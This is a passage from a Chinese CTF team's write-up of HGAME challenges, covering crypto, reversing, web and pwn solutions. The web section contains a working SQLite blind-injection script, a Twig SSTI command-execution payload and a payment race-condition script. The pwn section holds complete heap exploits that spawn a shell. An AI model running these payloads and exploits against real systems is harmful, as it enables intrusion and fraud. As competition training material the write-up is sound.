啦。\n后来才发现这个根本不是什么加密算法，就是上学期我刚学过的 CRC-16 校验码，这种都是直接爆破就行了。\nCRC16的算法原理：\n根据CRC16的标准选择初值 CRCIn 的值； 将数据的第一个字节与 CRCIn 高 8 位异或； 判断最高位，若该位为 0 左移一位，若为 1 左移一位再与多项式 Hex 码异或； 重复 3 直至 8 位全部移位计算结束； 重复将所有输入数据操作完成以上步骤，所得 16 位数即 16 位 CRC 校验码。 CRC16_CCITT：\n多项式 $x^{16} + x^{12}+ x^5+1（0x1021）$，初始值 $0x0000$，低位在前，高位在后，结果与 $0x0000$ 异或；\n[RE]upx magic 1 By s0uthwood\n发现没法自动脱壳，010 打开之后，手动把三个 UPX? 改成 UPX!，之后就能自动脱壳了\n[Crypto]Chinese Character Encryption By NULLPointer\n脑洞题。\n解压后得到 flag.enc，用记事本打开发现是许多汉字字符串，因此猜想是否与汉字在 Unicode 中的编码有关，尝试破解失败。题目中提示 flag.enc 中每一行均是 flag 的加密，说明每一行汉字都是 flag。发现相同的字母在加密后得到了不同的汉字，这说明每一行相同位置出现的不同的汉字在某些方面具有共同点。\n题目提示该题的加密方式只与汉字的拼音有关，因此使用 pypinyin 包解出拼音，发现每一行相同位置的汉字的拼音高度重合。联想到拼音的数字表达形式（按照声调一二三四标在拼音后加上 1234，轻声按 0 处理），猜想将拼音字母的 ASCII 码加和再加上声调代表的数字的 ASCII 码（轻声加 48，一声加 49，二声加 50，以此类推）作为汉字的编码，即 pypinyin 包中的 Style.TONE3 风格解出的字符串 ASCII 之和。操作发现部分汉字编码相同，说明猜想合理。\n尝试对编码进行操作，发现对 128 取模后开始几个汉字的 ASCII 码对应 hgame，解密即可：\nimport pypinyin def decrypt(s): flag = \u0026#34;\u0026#34; for c in s: ASCII_sum = 0 k = pypinyin.pinyin(c,style = pypinyin.Style.TONE3)[0][0] for i in k: ASCII_sum += ord(i) flag += chr(ASCII_sum % 128) return flag message = \u0026#34;陉萏俦蘭貑謠祥冄剏髯簧凰蕆秉僦笆鼣雔耿睺渺仦殣櫤鄽偟壮褃劳充迧蝔镁樷萾懴雈踺猳钔緲螩蝒醢徣纒漐\u0026#34; print(decrypt(message)) # \u0026#34;hgame{It*sEEMS|thaT~YOu=LEArn@PinYiN^VerY-WelL}\u0026#34; [Crypto]RSA Attack [Crypto]RSA Attack 2 [Crypto]The Password Plus Pro Max Ultra By NULLPointer\n解压得到output.txt和task.py，先分析加密代码如下。\ndef move(n, k): s = bin(n)[2:].zfill(64) # 将n转为64位二进制的形式 k = k \u0026amp; 63 return int(s[k:] + s[:k], 2) # 循环左移k位 def encrypt(x, ks): return xor(x, reduce(xor, map(lambda k: move(x, k), ks))) # 设ks中的数为a1,a2,..,an,返回x^(x\u0026lt;\u0026lt;\u0026lt;a1)^(x\u0026lt;\u0026lt;\u0026lt;a2)^...^(x\u0026lt;\u0026lt;\u0026lt;an) xs = list(map(s2n, findall(r\u0026#34;.{1,8}\u0026#34;, flag))) # 将flag每八个字符分成一组得到多组字符串，转成整数放入xs for i in range(len(xs)): ks = sample(range(1, 64), (i + 1) * 2) # 对于xs中第i个数，在1到64的范围内随机选取(i + 1) * 2个数，放入ks y = encrypt(xs[i], ks) # 利用ks加密xs中的每个数字 assert xs[i] == decrypt(y, ks) print(y, sorted(ks)) # 输出y和ks 发现本题实际上使用的是循环移位-异或加密。output.txt 中每一行前面的数字是加密得到的结果，后面的列表是加密过程中异或式每一项循环左移的位数。\n对于固定位数 m 的二进制串，循环移位-异或加密算法相当于在系数取自 GF(2) 的条件下对二进制多项式做左乘及加和处理，只不过在每次处理之后均要对 m 次多项式求模。因此，对于一个 m 位的二进制串，执行 m 次循环移位-异或算法后将回到其本身。这个性质说明只需将本题中给出的一次加密结果利用移位数列表再加密 63 次即可还原出明文。解密代码如下：\ndef move(n, k): s = bin(n)[2:].zfill(64) k = k \u0026amp; 63 return int(s[k:] + s[:k], 2) def encrypt(x, ks): return xor(x, reduce(xor, map(lambda k: move(x, k), ks))) def decrypt(m,l): flag = \u0026#34;\u0026#34; for i in range(len(m)): for j in range(63): m[i] = encrypt(m[i],l[i]) flag += str(n2s(m[i])) flag = flag.replace(\u0026#34;\u0026#39;b\u0026#39;\u0026#34;,\u0026#39;\u0026#39;) return flag m = [2656224875120172108,1261711348908201279,18219282869614004824,15279054981769814589,7966355346882200701,5641592208539483808,1502927090219059154 ,3996223120734273799,18295033054788808618,18126228466291248047,9413762634844369954 ,8964324149921197550,6962485320551449848] l = [[8, 35],[19, 29, 30, 45],[6, 16, 18, 21, 44, 55],[10, 26, 30, 46, 51, 54, 58, 63],[5, 13, 25, 29, 37, 39, 43, 52, 53, 59],[1, 26, 31, 39, 40, 41, 43, 45, 49, 52, 54, 62],[8, 12, 19, 20, 30, 32, 34, 40, 41, 45, 46, 49, 55, 58],[2, 3, 5, 6, 8, 10, 15, 19, 26, 27, 33, 40, 42, 47, 52, 61],[1, 16, 17, 27, 28, 30, 32, 36, 37, 38, 39, 48, 49, 51, 55, 57, 59, 62],[5, 11, 12, 20, 22, 23, 25, 27, 31, 32, 33, 37, 44, 45, 49, 52, 53, 59, 61, 62],[2, 7, 10, 12, 18, 19, 20, 22, 26, 29, 33, 34, 38, 40, 41, 45, 46, 51, 54, 56, 57, 60],[3, 4, 5, 9, 12, 13, 18, 19, 21, 23, 24, 25, 30, 33, 34, 35, 37, 39, 43, 44, 46, 49, 50, 53],[1, 3, 6, 7, 10, 11, 13, 14, 23, 27, 32, 33, 35, 37, 39, 41, 46, 48, 49, 50, 51, 53, 54, 56, 58, 62]] print(decrypt(m,l)) #\u0026#34;hgame{XOr|RoR\u0026amp;rOl|Is+vERY#coMmon*BiTwisE$OPeraTiOn*IT@is%oFten,ENCOUntErED*in.syMMeTRic?encryPtION}\u0026#34; week3 [Web]LoginMe By SSGSS\nhint 里给了部分查询语句，通过 ') or (' 左右闭合后中间能进行布尔盲注，尝试用 left, ascii 等函数均未返回预期结果，故不是 mysql 数据库，经验证为 sqlite 注入。\nimport requests import json url = \u0026#39;http://f4440d8510.login.summ3r.top:60067/login\u0026#39; ans = \u0026#39;\u0026#39; header = { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; } # sql = \u0026#39;select group_concat(sql) from sqlite_master\u0026#39; sql = \u0026#39;select group_concat(password) from uuussseeerrrsss limit 0, 1\u0026#39; for i in range(1, 1000): L = 32 R = 127 while R - L \u0026gt; 1: mid = (L + R) \u0026gt;\u0026gt; 1 payload = { \u0026#34;username\u0026#34;: \u0026#34;ass\u0026#39;) or substr((%s), %d, 1) \u0026lt; \u0026#39;%c\u0026#39; or (username=\u0026#39;test1\u0026#34; % (sql, i, chr(mid)), \u0026#34;password\u0026#34;: \u0026#34;114514\u0026#34; } r = requests.post(url, headers=header, data=json.dumps(payload)) if \u0026#39;success\u0026#39; in r.text: R = mid else: L = mid ans += chr(L) print(ans) \u0026#39;\u0026#39;\u0026#39; CREATE TABLE `uuussseeerrrsss` ( `id` integer, `created_at` datetime, `updated_at` datetime, `deleted_at` datetime, `username` text UNIQUE, `password` text, PRIMARY KEY (`id`) ),CREATE INDEX `idx_uuussseeerrrsss_deleted_at` ON `uuussseeerrrsss`(`deleted_at`) \u0026#39;\u0026#39;\u0026#39; [Web]SecurityCenter By SSGSS\n查看 hint，该项目装了如下三个包：\nsymfony/polyfill-ctype v1.24.0 symfony/polyfill-mbstring v1.24.0 twig/twig v3.3.7 依次搜索，twig 在 18 年爆出了一个 SSTI 的洞，于是在 url 处找到注入点：[146.56.223.34:60036/redirect.php?url={{1*7}}](http://146.56.223.34:60036/redirect.php?url={{1*7}})\n随手找了个 TWIG3.X 的 payload，{{[\u0026quot;id\u0026quot;, 0\\]|sort(\u0026quot;system\u0026quot;)|join(\u0026quot;,\u0026quot;)}}\n成功 rce，但是读 flag 的时候 cat 被 waf，用 head 去绕，正则匹配了 hgame 内容，base64 一下即可。\n最终payload：\nhttp://146.56.223.34:60036/redirect.php?url={{[\u0026quot;head /flag|base64\u0026quot;, 0]|sort(\u0026quot;system\u0026quot;)|join(\u0026quot;,\u0026quot;)}})\n[Web]Vidar shop demo By SSGSS\n条件竞争，抢占的资源是钱，可以先狂发 300 个 40 块的订单的包，然后开多线程分别去支付这些包，如果条件竞争顺利的话应该来不及太扣钱，然后我们就分别对这些订单退款钱就够了。\nimport requests import json import threading url = \u0026#39;http://559e013ac8.vidar-shop.mjclouds.com/api/pay/create\u0026#39; payload = {\u0026#34;uid\u0026#34;: 315, \u0026#34;amount\u0026#34;: 20} header = { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;Authorization\u0026#39;: \u0026#39;bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQxMzgxNjUsImlhdCI6MTY0NDA1MTc2NSwidWlkIjozMTV9.QyUNGJRUDQ4qp13utRgTWV8jDs4UhQYWOX8BP6wWcng\u0026#39; } def buy(id): payload[\u0026#34;oid\u0026#34;] = id requests.post(url, headers=header, data=json.dumps(payload)) ts = [] for i in range(5603, 5855): exec(\u0026#39;t{0} = threading.Thread(target=buy,args=(i,))\u0026#39;.format(i)) exec(\u0026#39;ts.append(t{0})\u0026#39;.format(i)) for s in ts: s.start() print(\u0026#34;DONE\u0026#34;) [Pwn]elder_note By triplewings\ndouble free 写 malloc_hook, double_free 报错拿 shell\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52620) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;4. farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def show(idx): menu(2) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) add(0, 0x80, b\u0026#34;aaa\u0026#34;) add(1, 0x80, b\u0026#34;aaa\u0026#34;) free(0) show(0) p.recvuntil(\u0026#34;\u0026#34;) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 88 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] add(0, 0x80, b\u0026#34;aaa\u0026#34;) add(0, 0x60, b\u0026#34;aaa\u0026#34;) add(1, 0x60, b\u0026#34;aaa\u0026#34;) add(2, 0x60, b\u0026#34;/bin/sh\u0026#34;) free(0) free(1) free(0) add(0, 0x60, p64(libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x23)) add(1, 0x60, b\u0026#34;aaa\u0026#34;) add(3, 0x60, b\u0026#34;aaa\u0026#34;) # gdb.attach(p, \u0026#34;b add_note\u0026#34;) print(hex(libc.address)) add(4, 0x60, b\u0026#34;aaa\u0026#34; + p64(0)*2 + p64(libc.address + 0xf03a4) + p64(0)) free(0) free(0) # free(2) p.interactive() # 0x45226 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # rax == NULL # 0x4527a execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf03a4 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1247 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL [Pwn]changeable_note By triplewings\n2.23 打 stdout\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52401) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;4. farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def edit(idx, content): menu(2) p.sendlineafter(b\u0026#34;index?\\n\u0026gt;\u0026gt; \u0026#34;, str(idx)) p.sendline(content) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) add(0,0x30,b\u0026#34;aaa\u0026#34;) add(1,0x60,b\u0026#34;aaa\u0026#34;) add(2,0x60,p64(0)*5 + p64(0x41)) add(3,0x10,b\u0026#34;aaa\u0026#34;) add(4,0x10,b\u0026#34;aaa\u0026#34;) edit(1, p64(0)*9 + p64(0x21)) edit(0, p64(0)*7 + p64(0xe1)) free(1) free(2) add(5,0x40,b\u0026#34;aaa\u0026#34;) add(6,0x10,b\u0026#34;aaa\u0026#34;) add(7,0x20,b\u0026#34;\\xdd\\x25\u0026#34;) add(8,0x30,b\u0026#34;aaa\u0026#34;) edit(6, p64(0)*3 + b\u0026#34;\\x71\u0026#34;) add(9, 0x60, b\u0026#34;\\xdd\\x25\u0026#34;) add(10, 0x60, b\u0026#34;\\x00\u0026#34;*0x33 + p64(0xfbad1887) +p64(0)*3 + p8(0x88)) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#39;_IO_2_1_stdin_\u0026#39;] print(hex(libc.address)) edit(0, p64(0)*7 + p64(0xe1)) free(9) free(5) add(5,0x40,b\u0026#34;aaa\u0026#34;) add(6,0x10,b\u0026#34;aaa\u0026#34;) add(7,0x20,p64(libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x23)) add(8,0x30,b\u0026#34;aaa\u0026#34;) edit(6, p64(0)*3 + b\u0026#34;\\x71\u0026#34;) add(9, 0x60, b\u0026#34;aaa\u0026#34;) add(10, 0x60, b\u0026#34;\\x00\u0026#34;*3 + p64(0)*2 + p64(libc.address + 0xf03a4)) # gdb.attach(p, \u0026#34;b edit_note\u0026#34;) edit(6, p64(0)*3 + b\u0026#34;\\x41\u0026#34;) free(9) p.interactive() # 0x45226 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # rax == NULL # 0x4527a execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf03a4 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1247 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL [Pwn]sized_note By triplewings\noff by null, unlink unsorted bins\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52966) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;5. farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def edit(idx, content): menu(4) p.sendlineafter(b\u0026#34;index?\\n\u0026gt;\u0026gt; \u0026#34;, str(idx)) p.send(content) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def show(idx): menu(2) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) add(0, 0xf8, b\u0026#34;aaa\u0026#34;) add(1, 0x88, b\u0026#34;aaa\u0026#34;) add(2, 0xf8, b\u0026#34;aaa\u0026#34;) add(3, 0x88, b\u0026#34;aaa\u0026#34;) for i in range(7): add(4+i, 0xf8, b\u0026#34;aaa\u0026#34;) for i in range(7): free(10 - i) free(1) free(0) add(1, 0x88, b\u0026#34;a\u0026#34;*0x80+p64(0x90+0x100)) free(2) for i in range(7): add(4+i, 0xf8,\u0026#34;/bin/sh\\x00\u0026#34;) add(0, 0xf8,\u0026#34;cccc\u0026#34;) show(1) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 96 - 0x10 - libc.sym[\u0026#39;__malloc_hook\u0026#39;] print(hex(libc.address)) # gdb.attach(p, \u0026#34;b *$rebase(0x144B)\u0026#34;) add(2, 0x88,\u0026#34;cccc\u0026#34;) free(2) edit(1, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])[:-1]) add(13, 0x88, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) add(14, 0x88, p64(libc.sym[\u0026#34;system\u0026#34;])) free(5) p.interactive() # 0x4f3d5 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x40, environ) # constraints: # rsp \u0026amp; 0xf == 0 # rcx == NULL # 0x4f432 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x40, environ) # constraints: # [rsp+0x40] == NULL # 0x10a41c execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL [RE]Answer\u0026rsquo;s windows By s0uthwood\n使用 right.png 字符串能够定位到验证函数\n动调发现使用了 string 的存储方式（好像就是把 string 内联了），只使用了 Base64 编码\n但 base 表和目标对应不上，显然是有反调试，自己做的时候直接猜到了真实表是 ascii 的前 64 个可见字符\n或者根据交叉引用找到 debug，把反调试判断 nop 掉再动调即可\n[RE]creakme_3 By s0uthwood\nPPC 架构，用 ghidra 看的\nundefined4 main(void) { int fs; int randnum; int j; int order_cnt; int i; int order [89]; int canary; canary = *(int *)(fs + -0x7008); memset(order,0,0x164); printf(\u0026#34;Welcome my whitegive re task! This is your flag: \u0026#34;); do { for (j = 0; j \u0026lt; 0x59; j = j + 1) { randnum = rand(); order[j] = randnum % 0x59; } order_cnt = 1; while ((order_cnt \u0026lt; 0x59 \u0026amp;\u0026amp; (a[order[order_cnt + -1] * 2 + 1] \u0026lt;= a[order[order_cnt] * 2 + 1]))) { order_cnt = order_cnt + 1; } } while (order_cnt != 0x59); for (i = 0; i \u0026lt; 0x59; i = i + 1) { putchar(a[order[i] * 2]); } if (canary == *(int *)(fs + -0x7008)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } 手动恢复了一下符号，简单的说就是只有满足顺序都是 \u0026lt;= 的时候才能退出第一个循环，所以 rand() 只是个忽悠人并且浪费时间的东西（后来知道这个东西叫猴子加密）\n所以提取一下数字然后排序就行\na = [ (0x30, 0x4E7D), (0x30, 0x67BD), (0x30, 0x7A48), (0x30, 0x82A2), (0x30, 0x933E), (0x31, 0x9C18), (0x32, 0x5AFF), (0x32, 0x6CD7), (0x32, 0xA6CA), (0x32, 0xBD79), (0x32, 0xCEBD), (0x33, 0x324A), (0x33, 0x3292), (0x33, 0x3905), (0x33, 0x4291), (0x33, 0x5ADE), (0x33, 0x6E9F), (0x33, 0xA52A), (0x33, 0xBE35), (0x33, 0xCB63), (0x35, 0x7F3B), (0x38, 0x3914), (0x38, 0xB2AD), (0x39, 0x38DA), (0x39, 0x4E50), (0x39, 0x6A02), (0x39, 0xB10F), (0x42, 0x78E5), (0x5F, 0x7EF6), (0x5F, 0x89A3), (0x5F, 0x8EBD), (0x5F, 0x95E3), (0x61, 0x73DA), (0x64, 0x538C), (0x64, 0x633B), (0x64, 0x9E9C), (0x64, 0xB78B), (0x64, 0xC866), (0x65, 0x32AE), (0x65, 0x7679), (0x66, 0x2AE7), (0x66, 0x4D6A), (0x66, 0x5708), (0x66, 0x6610), (0x66, 0xA258), (0x66, 0xB80C), (0x66, 0xC885), (0x67, 0x710A), (0x67, 0x7CF4), (0x68, 0x3F76), (0x68, 0x702B), (0x68, 0xA3EE), (0x68, 0xAD50), (0x68, 0xBAC7), (0x69, 0x4024), (0x69, 0x8A22), (0x69, 0xC055), (0x6A, 0x2B52), (0x6A, 0xC687), (0x6B, 0x5F00), (0x6B, 0xC417), (0x6C, 0x6182), (0x6D, 0x75DB), (0x6E, 0x3C61), (0x6E, 0x4996), (0x6E, 0x5DC1), (0x6F, 0x2D76), (0x6F, 0x7D17), (0x6F, 0xA91B), (0x70, 0x9AED), (0x72, 0x45D0), (0x72, 0x8467), (0x72, 0xAB5D), (0x73, 0x5083), (0x73, 0x6222), (0x73, 0x8D93), (0x73, 0x923A), (0x73, 0x971E), (0x73, 0xB4BA), (0x73, 0xC785), (0x74, 0x3558), (0x74, 0x86BD), (0x74, 0x9738), (0x75, 0x3710), (0x75, 0x9779), (0x77, 0x2F3F), (0x77, 0x44DD), (0x7B, 0x78E1), (0x7D, 0x9F42) ] def takeSecond(elem): return elem[1] a.sort(key=takeSecond) for i in a: print (chr(i[0]), end=\u0026#39;\u0026#39;) # fjow33etu938nhi3wrnf90sdf32nklsdf0923hgame{B0go_50rt_is_s0_stup1d}fh32orh98sdfh23ikjsdf32 [RE]fishman By s0uthwood\npyd逆向\n先定位函数\n搜索字符串，能看到几个函数名\n比如 init 函数就是 sub_180002670\n接下来就是密码算法识别\n查看一下 init 和 check 函数，这题使用的是 blowfish 密码，之前没有遇到过，所以是靠着 findcrypt 脚本识别出来的\n顺便放一下搜到的加密算法源码，来源是 https://gitee.com/miao123456miao/blowfish2\n这是一个分组密码，主要的特征就是 f 函数\n剩下的也没什么特别的，贴一下求解脚本吧\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026#34;blowfish.h\u0026#34; void swap(uint32_t* a, uint32_t* b) { uint32_t tmp; tmp = *a; *a = *b; *b = tmp; } uint32_t blowfish_f(blowfish_t* container, uint32_t input) { uint8_t a, b, c, d; a = input \u0026gt;\u0026gt; 24; b = (input \u0026gt;\u0026gt; 16) \u0026amp; 0xff; c = (input \u0026gt;\u0026gt; 8) \u0026amp; 0xff; d = input \u0026amp; 0xff; return ((container-\u0026gt;s[0][a] + container-\u0026gt;s[1][b]) ^ container-\u0026gt;s[2][c]) + container-\u0026gt;s[3][d]; } void blowfish_cipher(blowfish_t* container, uint32_t* xl, uint32_t* xr, uint8_t mode) { int i; uint32_t loc_xl, loc_xr; loc_xl = *xl; loc_xr = *xr; if(mode == BLOWFISH_ENCRYPT) { for(i = 0; i \u0026lt; PASSES; i++) { loc_xl = loc_xl ^ container-\u0026gt;p[i]; loc_xr = blowfish_f(container, loc_xl) ^ loc_xr; swap(\u0026amp;loc_xl, \u0026amp;loc_xr); } } else if(mode == BLOWFISH_DECRYPT) { for(i = PASSES+1; i \u0026gt; 1; i--) { loc_xl = loc_xl ^ container-\u0026gt;p[i]; loc_xr = blowfish_f(container, loc_xl) ^ loc_xr; swap(\u0026amp;loc_xl, \u0026amp;loc_xr); } } swap(\u0026amp;loc_xl, \u0026amp;loc_xr); if(mode == BLOWFISH_ENCRYPT) { loc_xr = loc_xr ^ container-\u0026gt;p[PASSES]; loc_xl = loc_xl ^ container-\u0026gt;p[PASSES+1]; } else if(mode == BLOWFISH_DECRYPT) { loc_xr = loc_xr ^ container-\u0026gt;p[1]; loc_xl = loc_xl ^ container-\u0026gt;p[0]; } *xl = loc_xl; *xr = loc_xr; } blowfish_t* blowfish_initialize(unsigned char* key, uint32_t length) { blowfish_t* container = malloc(sizeof(blowfish_t)); unsigned int i, ii, j = 0; uint32_t tmp, tmp_l = 0, tmp_r = 0; if(length \u0026gt; BLOWFISH_MAX_KEY_BYTES) return (blowfish_t*) NULL; for(i = 0; i \u0026lt; PASSES+2; i++) { container-\u0026gt;p[i] = P[i]; } for(i = 0; i \u0026lt; SBOXES; i++) { for(ii = 0; ii \u0026lt; 256; ii++) { container-\u0026gt;s[i][ii] = S[i][ii]; } } for(i = 0; i \u0026lt; PASSES+2; i++) { tmp = 0; for(ii = 0; ii \u0026lt; 4; ii++) { tmp = (tmp \u0026lt;\u0026lt; 8) | key[j]; j++; if(j == length) j = 0; } container-\u0026gt;p[i] = container-\u0026gt;p[i] ^ tmp; } for(i = 0; i \u0026lt; PASSES+1; i += 2) { blowfish_cipher(container, \u0026amp;tmp_l, \u0026amp;tmp_r, BLOWFISH_ENCRYPT); container-\u0026gt;p[i] = tmp_l; container-\u0026gt;p[i+1] = tmp_r; } for(i = 0; i \u0026lt; SBOXES; i++) { for(ii = 0; ii \u0026lt; 256; ii += 2) { blowfish_cipher(container, \u0026amp;tmp_l, \u0026amp;tmp_r, BLOWFISH_ENCRYPT); container-\u0026gt;s[i][ii] = tmp_l; container-\u0026gt;s[i][ii+1] = tmp_r; } } } int main(int argc, char** argv) { uint32_t high, low; blowfish_t* container = blowfish_initialize(\u0026#34;LET_U_D\u0026#34;, 7); high = 1416580799u; low = 3035468667u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); high = 2194841726u; low = 332656605u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); high = 571059727u; low = 1498341217u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); high = 3107158060u; low = 470279474u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); return 0; } blowfish.h 去仓库找就行\n试了一下 pycrypto 库，解出来的有问题，可能库的实现和这个有区别，没深入研究\n[Crypto]Block Cipher By S1eepy\nimport operator from libnum import n2s from functools import reduce def xor(a, b): assert len(a) == len(b) return bytes(map(operator.xor, a, b)) iv = b\u0026#39;Up\\x14\\x98r\\x14%\\xb9\u0026#39; key = b\u0026#39;\\r\\xe8\\xb86\\x9c33^\u0026#39; parts = [b\u0026#39;0\\xff\\xcd\\xc3\\x8b\\\\T\\x8b\u0026#39;, b\u0026#39;RT\\x1e\\x89t\u0026amp;\\x17\\xbd\u0026#39;, b\u0026#39;\\x1a\\xee\\x8d\\xd6\\x9b\u0026gt;w\\x8c\u0026#39;, b\u0026#39;9CT\\xb3^pF\\xd0\u0026#39;] flag = [] for i in range(3, -1, -1): if i == 0: flag.append(reduce(xor, [parts[i], iv, key])) else: flag.append(reduce(xor, [parts[i], parts[i - 1], key])) print(flag[::-1]) # hgame{BloCk|cIphER+is+So.EaSY} [Crypto]Multi Prime RSA By S1eepy\nfrom gmpy2 import invert from libnum import n2s p = 61789932148719477384027458333380568978056286136137829092952317307711908353477 q = 91207969353355763685633284378833506319794714507027332929290701748727534193861 r = 105471299607375388622347272479207944509670502835651250945203397530010861809367 s = 83153238748903772448138307505579799277162652151244477391465130504267171881437 n = 1039344372165087100001063920598151812324151064684841845250974758525265148567706103784958424873181721352440209284812493753972556519482026327282644619091466886523804841248277210353173383407944598453848113815866908595335619458549486958764490103808475329598085842184963065068499489886467911087295087163762599284622055185456905774507245781667293199205317692029829495961487347944813874415423771980660778986211145841712412631156369129146470119135136378158203459576596246169191419488560832734046076107673091995860021863239882608638458149930255944184863801278386551031980146460231515747754411678651752698881001464973981424240781413084941947261875289725538959720572496329348499870580057997540844488309111059240745081048324762866572948371222839278718034435739827677190025500802453626872356208612718417249649474571197167076916403582394186357812640566250930361276229969553128128312736245440129556020108188835966131425956431796417720436474093381770796431629523054378258497546013222494974549262140415585158985940966415459478150722832119691308697510189026447359189994055885090735411738332296254011208547676914004864732327863884217733456287369771087094514708468685641820375220835485053482570852619363091173324203334503461823983610886849930944250553928855506012684504211525542998575275626784129736345142772399109273619522445919 e = 65537 c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737